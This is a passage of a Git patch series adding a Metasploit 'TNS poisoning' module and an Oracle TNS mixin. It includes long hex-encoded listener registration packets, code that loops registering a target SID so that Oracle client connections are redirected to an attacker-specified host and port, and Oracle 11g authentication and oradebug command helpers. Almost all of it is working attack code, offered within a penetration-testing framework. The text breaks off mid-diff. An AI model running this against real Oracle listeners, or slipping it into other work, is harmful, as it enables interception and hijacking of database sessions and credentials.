@regpacket[10] << "\x00\x00\x00\x00\x00\x90\x66\x3f\x0c\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\xe8\xa7\x6b\x0c\x00\x00\x00\x00\xfa\xa3\xbc" + @regpacket[10] << "\x0b\xde\xc7\x4b\x1c\xb4\x2d\x93\x1b\x13\x72\x4d\xa2\x05\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x60\x5a\xf6\x21\xff\x07\x00\x00\x3b\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\xc0\x91\x94\x25\xff\x07\x00\x00\x30\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\xfc\x66\x3f\x0c\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\x00\x8c\xff" + @regpacket[10] << "\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x97\x6b" + @regpacket[10] << "\x0c\x00\x00\x00\x00\x44\x30\x30\x30\x00\x28\x41\x44\x44\x52\x45" + @regpacket[10] << "\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70" + @regpacket[10] << "\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64" + @regpacket[10] << "\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x34\x39\x32" + @regpacket[10] << "\x31\x34\x29\x29\x00\x44\x49\x53\x50\x41\x54\x43\x48\x45\x52\x20" + @regpacket[10] << "\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a\x20\x61\x61\x61\x61\x73\x73" + @regpacket[10] << "\x73\x73\x64\x64\x64\x64\x66\x66\x66\x2c\x20\x70\x69\x64\x3a\x20" + @regpacket[10] << "\x34\x32\x34\x3e\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\xd0\xfb\x22\x0b\x00\x00\x00\x00\x04\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x90\x99\x22\x0b\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd9\x93\x83" + @regpacket[10] << "\x44\x72\x5f\x4c\xf4\x95\x99\x9b\xde\xf0\x0b\x3c\x8d\x30\x8c\xff" + @regpacket[10] << "\x1f\xff\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x2c\x54\x7b" + @regpacket[10] << "\x47\x01\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x70\x45\xac" + @regpacket[10] << "\x25\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0\x79\x7b" + @regpacket[10] << "\x47\x01\x00\x00\x00\x03\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00" + @regpacket[10] << "\x00\x02\x00\x00\x00\x50\xcf\xaa\x25\xff\x07\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\xb8\xfb\x22\x0b\x00\x00\x00\x00\x44\x45\x44" + @regpacket[10] << "\x49\x43\x41\x54\x45\x44\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d" + @regpacket[10] << "\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x54\x43\x50\x29\x28\x48" + @regpacket[10] << "\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64" + @regpacket[10] << "\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29" + @regpacket[10] << "\x00\x52\x45\x4d\x4f\x54\x45\x20\x53\x45\x52\x56\x45\x52\x00\x0f" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x58\x8c\xff\x1f\xff\x07\x00\x00\x05" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70" + @regpacket[10] << "\x8f\x6b\x0c\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35" + @regpacket[10] << "\x36\x37\x58\x44\x42\x00\x00\xcf\xaa\x25\xff\x07\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\xcf" + @regpacket[10] << "\xaa\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00" + @regpacket[10] << "\x00\x00\x06\x00\x00\x00\x18\xfc\x22\x0b\x00\x00\x00\x00\x6f\x72" + @regpacket[10] << "\x63\x6c\x31\x32\x33\x34\x35\x36\x37\x00" + + @regpacket[11]="\x05\xc2\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xb8\x24\x08" + @regpacket[11] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[11] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[11] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xb0\xe9" + @regpacket[11] << "\x49\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[11] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[11] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[11] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x40\x05" + @regpacket[11] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x80\xf5\x2a\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\xb0\x00\x44\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\xb8\xa8\x48\x0b\x00\x00\x00\x00\x33\x16\x38\x73\x02\x6a" + @regpacket[11] << "\x45\xe5\xbe\xd1\xba\x67\xce\xdc\xc6\x05\x0d\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\xc0\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x88\x02\x44\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[11] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x68\xf5\x2a\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[11] << "\x33\x34\x35\x36\x37\x38\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61" + @regpacket[11] << "\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00" + @regpacket[11] << "\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf8\xd3" + @regpacket[11] << "\xf2\x1f\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xd3" + @regpacket[11] << "\xf2\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\xa7" + @regpacket[11] << "\x48\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36" + @regpacket[11] << "\x37\x38\x58\x44\x42\x00\x10\x00\x00\x00\x00\x00\x00\x00\xf8\xd3" + @regpacket[11] << "\xf2\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00" + @regpacket[11] << "\x00\x00\x06\x00\x00\x00\x70\x8f\x48\x0b\x00\x00\x00\x00\x6f\x72" + @regpacket[11] << "\x63\x6c\x31\x32\x33\x34\x35\x36\x37\x38\x58\x44\x42\x00\x01\x00" + @regpacket[11] << "\x00\x00\x0d\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x20\xcf" + @regpacket[11] << "\xaa\x25\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xf8\xce" + @regpacket[11] << "\xaa\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\xa6" + @regpacket[11] << "\x48\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36" + @regpacket[11] << "\x37\x38\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x20\xcf\xaa\x25\xff" + @regpacket[11] << "\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06" + @regpacket[11] << "\x00\x00\x00\x18\xfc\x2a\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31" + @regpacket[11] << "\x32\x33\x34\x35\x36\x37\x38\x00\x01\x00\x00\x00\x45\x00\x00\x00" + @regpacket[11] << "\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x5f\xf1\x1f\xff\x07\x00\x00" + @regpacket[11] << "\x03\x00\x00\x00\x00\x00\x00\x00\x50\x66\x44\x0b\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x00\x00\x00\x70\xa9\x48\x0b\x00\x00\x00\x00" + @regpacket[11] << "\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44" + @regpacket[11] << "\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d" + @regpacket[11] << "\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36" + @regpacket[11] << "\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32" + @regpacket[11] << "\x31\x29\x29\x29\x00\x45\x00\x00\x00\x00\x00\x00\x00\xb0\x5f\xf1" + @regpacket[11] << "\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\xa5\x48" + @regpacket[11] << "\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f" + @regpacket[11] << "\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54" + @regpacket[11] << "\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31" + @regpacket[11] << "\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52" + @regpacket[11] << "\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x01\x00\x00\x00\x10\x00" + @regpacket[11] << "\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe8\x97\x48\x0b\x00\x00" + @regpacket[11] << "\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x66\x44\x0b\x00\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8\x48\x0b\x00\x00" + @regpacket[11] << "\x00\x00\x40\xfa\xe7\x3a\x1b\x7b\x42\x95\xb0\xb6\x84\x30\x65\xb0" + @regpacket[11] << "\xc0\x01\x05\x00\x00\x00\x00\x00\x00\x00\x60\x5a\xf6\x21\xff\x07" + @regpacket[11] << "\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\xb8\x91\x94\x25\xff\x07" + @regpacket[11] << "\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\xfc\x66\x44\x0b\x00\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00" + @regpacket[11] << "\x00\x00\xb0\x39\xea\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\xd0\x97\x48\x0b\x00\x00\x00\x00\x44\x30\x30\x30\x00\x28" + @regpacket[11] << "\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f" + @regpacket[11] << "\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61" + @regpacket[11] << "\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52" + @regpacket[11] << "\x54\x3d\x34\x39\x32\x31\x38\x29\x29\x00\x44\x49\x53\x50\x41\x54" + @regpacket[11] << "\x43\x48\x45\x52\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a\x20\x61" + @regpacket[11] << "\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x2c\x20" + @regpacket[11] << "\x70\x69\x64\x3a\x20\x32\x34\x38\x30\x3e\x00\x01\x00\x00\x00\x10" + @regpacket[11] << "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\x2a\x0b\x00" + @regpacket[11] << "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\x2a\x0b\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\x76\xee\x4b\xd5\x5f\x23\x41\x40\x8f\x48\x61\xb3\xd5" + @regpacket[11] << "\x8d\xcc\x51\xd0\xd3\xf2\x1f\xff\x07\x00\x00\x0a\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\x2c\x54\x7b\x47\x01\x00\x00\x00\x3a\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\x68\x45\xac\x25\xff\x07\x00\x00\x0e\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\xf0\x79\x7b\x47\x01\x00\x00\x00\x03\x00\x00\x00\x95" + @regpacket[11] << "\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x48\xcf\xaa\x25\xff" + @regpacket[11] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\x2a\x0b\x00" + @regpacket[11] << "\x00\x00\x00\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00\x28\x41\x44" + @regpacket[11] << "\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d" + @regpacket[11] << "\x54\x43\x50\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73" + @regpacket[11] << "\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d" + @regpacket[11] << "\x31\x35\x32\x31\x29\x29\x00\x52\x45\x4d\x4f\x54\x45\x20\x53\x45" + @regpacket[11] << "\x52\x56\x45\x52\x00\x10\x00\x00\x00\x00\x00\x00\x00\xf8\xd3\xf2" + @regpacket[11] << "\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" + @regpacket[11] << "\x00\x06\x00\x00\x00\x70\x8f\x48\x0b\x00\x00\x00\x00\x6f\x72\x63" + @regpacket[11] << "\x6c\x31\x32\x33\x34\x35\x36\x37\x38\x58\x44\x42\x00\xf8\xce\xaa" + @regpacket[11] << "\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00" + @regpacket[11] << "\x00\x00\x00\x00\x00\x20\xcf\xaa\x25\xff\x07\x00\x00\x04\x00\x00" + @regpacket[11] << "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\x2a" + @regpacket[11] << "\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x37" + @regpacket[11] << "\x38\x00" + + end + + +end +end diff --git a/modules/auxiliary/spoof/tns/tnspoison.rb b/modules/auxiliary/spoof/tns/tnspoison.rb new file mode 100644 index 0000000000..8d930fd5c2 --- /dev/null +++ b/modules/auxiliary/spoof/tns/tnspoison.rb @@ -0,0 +1,53 @@ +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::OracleTNS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'TNS posion attack for arbitrary SID length', + 'Description' => %q{ + This module mimplement the TNS poisoning attack, discovered + by Joxean Koret. It works for SIDs with length between 1-12 + thus with all possible length. + }, + 'Author' => [ 'donctl' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://www.joxeankoret.com/download/tnspoison.pdf' ], + ], + 'DisclosureDate' => 'April 18 2012')) + register_options( + [ + OptString.new('DHOST', [ false, "HOST to redirect to, it should be"\ + " IP address only"]), + OptString.new('DPORT', [ false, "PORT to redrecit to, it can be 4"\ + " digits only", "1521"]), + ], self.class) + + + end + + def run + while true + print_status("Connect to %s:%s.\n" % [datastore["RHOST"], datastore["RPORT"]]) + #Connects to the server, creates the socket. The poisoned entries are there + #until we disconnect + if !tns_command("(CONNECT_DATA=(COMMAND=service_register_NSGR))") + print_error("Something wrong with the connect packet!\n") + end + print_status("Sending register packet with SID %s to redirect to %s:%s\n." % [datastore["SID"], + datastore["DHOST"], datastore["DPORT"]]) + if !send_register(datastore["SID"]) + print_error("Something wrong with the register packet!\n") + end + print_status("Wait for 10 seconds.\n") + sleep(10) + @sock.close + end + + end +end From f4467819cf4995b7f6ebd5952d5edd417098e14a Mon Sep 17 00:00:00 2001 From: corleone Date: Fri, 2 Nov 2012 23:04:08 +0100 Subject: [PATCH 2/8] Just some clean up. --- lib/msf/core/exploit/oracletns.rb | 106 +++++++++++------------ modules/auxiliary/spoof/tns/tnspoison.rb | 11 +-- 2 files changed, 59 insertions(+), 58 deletions(-) diff --git a/lib/msf/core/exploit/oracletns.rb b/lib/msf/core/exploit/oracletns.rb index 29b2bb32cd..10e433ed66 100644 --- a/lib/msf/core/exploit/oracletns.rb +++ b/lib/msf/core/exploit/oracletns.rb @@ -3,13 +3,13 @@ require 'msf/core' module Msf module Exploit::OracleTNS - #Just make th code more readable. All of the longpackets are defined in this mixin. + #Just make the code more readable. All of the longpackets are defined in this mixin. include Msf::Exploit::Tnslongpackets #Maybe it's more reusable as a mixin, contains the crypt functions for the authentication include Msf::Exploit::Oracrypto #Use the rex sockets include Exploit::Remote::Tcp - + def initialize(info={}) super @@ -17,15 +17,15 @@ module Exploit::OracleTNS [ OptString.new('RHOST', [ true, 'The Oracle host.', '']), OptString.new('RPORT', [ true, 'The TNS port.', '1521']), - OptString.new('SID', [ true, 'The sid to authenticate with.', 'ORCL']), - OptString.new('DBUSER', [ true, 'The username to authenticate with. It should be SYSDBA for oradebug.', 'SYS']), - OptString.new('DBPASS', [ true, 'The password to authenticate with.', 'changeme']), + OptString.new('SID', [ false, 'The sid to authenticate with.', 'ORCL']), + OptString.new('DBUSER', [ false, 'The username to authenticate with. It should be SYSDBA for oradebug.', 'SYS']), + OptString.new('DBPASS', [ false, 'The password to authenticate with.', 'changeme']), ], Msf::Exploit::OracleTNS ) #Will be used in version exchange with the server @client_ver="Linuxi386/Linux-2.0.34-8.1.0" - #Will be filled + #Will be filled @server_ver="" #Long server version @long_server_ver="" @@ -36,8 +36,8 @@ module Exploit::OracleTNS #The current seq number that the client sends to the server @seqid=6 end - - + + def create_socket() connect end @@ -45,7 +45,7 @@ module Exploit::OracleTNS # #This used for the tnspoison attack. There is no resend from the server thus we implemented #as a new function. Better structuring can be used here. - # + # def tns_command(connect_data) #From this point we need all of the parameters @host=datastore['RHOST'] @@ -75,7 +75,7 @@ module Exploit::OracleTNS #don't care too much packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - packet << connect_data + packet << connect_data create_socket() @sock.print(packet) rdata=receive_timeout(5) @@ -92,7 +92,7 @@ module Exploit::OracleTNS end return true end - + def tnsconnect() @host=datastore['RHOST'] @port=datastore['RPORT'] @@ -102,7 +102,7 @@ module Exploit::OracleTNS connect_data='(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=' connect_data << @sid connect_data << ')(CID=(PROGRAM=sqlplus)(HOST=test)(USER=root)))(ADDRESS=(PROTOCOL=TCP)(HOST=' - connect_data << @host + connect_data << @host connect_data << ')(PORT=' connect_data << @port.to_s connect_data << ')))' @@ -128,7 +128,7 @@ module Exploit::OracleTNS #don't care too much packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - packet << connect_data + packet << connect_data create_socket() @sock.print(packet) rdata=receive_timeout(5) @@ -158,7 +158,7 @@ module Exploit::OracleTNS end return true end - + # #Usually you need time when communication with the database. #It handles the TDS packet format. @@ -174,14 +174,14 @@ module Exploit::OracleTNS resp << data len -= data.length end - + resp end - + def sns() #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum packet = "\x00\xa1\x00\x00\x06\x00\x00\x00\x00\x00" - + #I'm not interested now just send the packet out packet << "\xde\xad\xbe\xef\x00\x97\x00\x00\x00\x00" packet << "\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00" @@ -207,7 +207,7 @@ module Exploit::OracleTNS packet=[19+@client_ver.length].pack('n') #Usual stuff packet checksum+type+reserved byte+header checksum packet << "\x00\x00\x06\x00\x00\x00\x00\x00" - #Supported protocol versions (it has some version info) + #Supported protocol versions (it has some version info) packet << "\x01\x06\x05\x04\x03\x02" #String length packet << [@client_ver.length].pack('n') @@ -248,8 +248,8 @@ module Exploit::OracleTNS return false end end - - def username(auth_terminal="pts/2", program_nm="sqlplus", auth_machine="127.0.0.1", auth_pid="1234", auth_sid="1234") + + def username(auth_terminal="pts/2", program_nm="sqlplus", auth_machine="127.0.0.1", auth_pid="1234", auth_sid="1234") #Not important for now, needs analysis later if @server_ver =~ /WIN_NT/ packet_body="\x03\x76\x02\x01\x03\x00\x00\x00\x21\x00\x00\x00\x01\x05\x00\x00\x00\x01\x01" @@ -257,7 +257,7 @@ module Exploit::OracleTNS packet_body = "\x03\x76\x02\x01\x03\x00" packet_body << "\x00\x00\x21\x00\x00\x00\x01\x05\x00\x00\x00\x01\x01" end - + packet_body << [@username.length].pack('C') packet_body << @username packet_body << gen_field("AUTH_TERMINAL", auth_terminal) @@ -265,21 +265,21 @@ module Exploit::OracleTNS packet_body << gen_field("AUTH_MACHINE", auth_machine) packet_body << gen_field("AUTH_PID", auth_pid) packet_body << gen_field("AUTH_SID", auth_sid) - + #packet length packet_head = [10+packet_body.length].pack('n') #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" - packet = packet_head+packet_body + packet = packet_head+packet_body @sock.print(packet) rdata=receive_timeout(5) - + if !(rdata=~ /AUTH_SESSKEY/) print_error("We expected AUTH_SESSKEY, but we received the following:\n") print_line(Rex::Text.to_hex_dump(rdata)) return false end - + index=rdata.index("AUTH_SESSKEY") @auth_sesskey_server_len=rdata.slice(index+12, 2).unpack('v')[0] marker=rdata.slice(index+17,1) @@ -290,13 +290,13 @@ module Exploit::OracleTNS else @auth_sesskey_server=rdata.slice(index+17, @auth_sesskey_server_len) end - + index=rdata.index("AUTH_VFR_DATA") @auth_vfr_data_len=rdata.slice(index+13,2).unpack('v')[0] @auth_vfr_data=rdata.slice(index+18,@auth_vfr_data_len) return true end - + def gen_field(fieldname, fieldcontent, term=0) field=[fieldname.length].pack('v')+"\x00"+[fieldname.length].pack('n') field << fieldname @@ -314,20 +314,20 @@ module Exploit::OracleTNS end return field end - + def authpassword() - + #Crypto of the Oracle authentication 11g salt= [@auth_vfr_data.downcase].pack('H*') @password_hash=create11g_hash(@password, salt) - + @decr_auth_sesskey_server=decrypt_sesskey([@auth_sesskey_server].pack('H*'), @password_hash, @auth_sesskey_server_len) @combined_sesskey=combine_sesskeys(@decr_auth_sesskey_server, @decr_auth_sesskey_client) @auth_sesskey_client=encrypt_sesskey(@decr_auth_sesskey_client, @password_hash, @auth_sesskey_server_len) @auth_password=encrypt_password("\x00"*16 + @password, @combined_sesskey) - + hex_auth_sesskey=@auth_sesskey_client.unpack("H*")[0].upcase - + #Not important for now if @server_ver =~ /WIN_NT/ packet_body = "\x03\x73\x03\x01" @@ -339,7 +339,7 @@ module Exploit::OracleTNS packet_body << "\x00\x00\x00\x21\x01\x00\x00\x01\x12\x00\x00" packet_body << "\x00\x01\x01" end - + packet_body << [@username.length].pack('C') packet_body << @username #The AUTH_SESSKEY generation is different @@ -372,13 +372,13 @@ module Exploit::OracleTNS packet_body << gen_field("AUTH_ACL","4400") packet_body << gen_field("AUTH_ALTER_SESSION","ALTER SESSION SET TIME_ZONE='+01:00'",1) packet_body << gen_field("AUTH_LOGICAL_SESSION_ID","BA6ECD7AA07F77DFE0430101007F4ACB") - packet_body << "\x10\x00\x00\x00\x10AUTH_FAILOVER_ID"+"\x00"*8 - + packet_body << "\x10\x00\x00\x00\x10AUTH_FAILOVER_ID"+"\x00"*8 + #packet length packet_head = [10+packet_body.length].pack('n') #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" - + packet = packet_head+packet_body @sock.print(packet) rdata=receive_timeout(5) @@ -401,54 +401,54 @@ module Exploit::OracleTNS @auth_serial_num=rdata.slice(index+20, @auth_serial_num_len) return true end - + def request_marker() packet="\x00\x0b\x00\x00\x0c\x00\x00\x00\x01\x00\x02" return packet end - + def auth() if !tnsconnect() print_error("Something wrong with CONNECT! Maybe you provided wrong SID?\n") return false end print_status("Listener connect done!\n") - + #ok we received the accept, sent the sns if !sns() print_error("Something wrong around SNS!\n") return false end print_status("SNS negotiation done!\n") - + if !version_exchange() print_error("Something wrong around the versions exchange!\n") return false end - + if !typereps() print_error("Something wrong around the type representation packages!\n") return false end - + if !username() print_error("Something wrong around the username packet!\n") return false end print_status("Username packet was sent!\n") - + if !authpassword() print_error("Something wrong around the authpassword packet!\n") return false end print_status("Authentication done!\n") - + return true - + end - - + + def get_version() #header, it is fixed length so we do not generate packet = "\x00\x23\x00\x00\x06\x00\x00\x00" @@ -466,7 +466,7 @@ module Exploit::OracleTNS end return true end - + def oradebug(command) params=command.scan(/(?:\w+)|(?:".*?")/) numbofp=params.length @@ -500,15 +500,15 @@ module Exploit::OracleTNS packet = packet_head+packet_body @sock.print(packet) rdata=receive_timeout(5) - print_status("We sent the command %s\n and we recived the following:\n" % command) + print_status("We sent the command %s\n and we recived the following:\n" % command) print_line(Rex::Text.to_hex_dump(rdata)) return rdata end - + def incseqid() @seqid=7 end - + def send_register(sid) #Ruby rulez! You need dup here packet=@regpacket[sid.length-1].dup @@ -516,7 +516,7 @@ module Exploit::OracleTNS packet.gsub!("\x00"+"orcl12345678"[0,sid.length], "\x00"+sid) packet.gsub!("aaaassssddddfff", datastore["DHOST"].ljust(15)) packet.gsub!("PORT=1521))\x00", "PORT=%s))\x00" % datastore["DPORT"]) - + @sock.print(packet) rdata=receive_timeout(5) if !rdata.include?("%sXDB" % sid) @@ -526,7 +526,7 @@ module Exploit::OracleTNS end return true end - + end end diff --git a/modules/auxiliary/spoof/tns/tnspoison.rb b/modules/auxiliary/spoof/tns/tnspoison.rb index 8d930fd5c2..b39fb42b61 100644 --- a/modules/auxiliary/spoof/tns/tnspoison.rb +++ b/modules/auxiliary/spoof/tns/tnspoison.rb @@ -6,11 +6,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'TNS posion attack for arbitrary SID length', + 'Name' => 'TNS Posion Attack', 'Description' => %q{ This module mimplement the TNS poisoning attack, discovered - by Joxean Koret. It works for SIDs with length between 1-12 - thus with all possible length. + by Joxean Koret. It works for SIDs with length between 1-12 + thus with all possible length. It wast tested against + 11.2.0.3 64 bit on Windows and on Linux. }, 'Author' => [ 'donctl' ], 'License' => MSF_LICENSE, @@ -22,9 +23,9 @@ class Metasploit3 < Msf::Auxiliary 'DisclosureDate' => 'April 18 2012')) register_options( [ - OptString.new('DHOST', [ false, "HOST to redirect to, it should be"\ + OptString.new('DHOST', [ true, "HOST to redirect to, it should be"\ " IP address only"]), - OptString.new('DPORT', [ false, "PORT to redrecit to, it can be 4"\ + OptString.new('DPORT', [ true, "PORT to redrecit to, it can be 4"\ " digits only", "1521"]), ], self.class) From 740295e83fe869a886e01788c29a109ede7d9462 Mon Sep 17 00:00:00 2001 From: corleone Date: Fri, 2 Nov 2012 23:06:38 +0100 Subject: [PATCH 3/8] Just some clean up... --- lib/msf/core/exploit/oracletns.rb | 24 ++--- lib/msf/core/exploit/oracrypto.rb | 122 ++++++++++++------------- lib/msf/core/exploit/tnslongpackets.rb | 4 +- 3 files changed, 73 insertions(+), 77 deletions(-) diff --git a/lib/msf/core/exploit/oracletns.rb 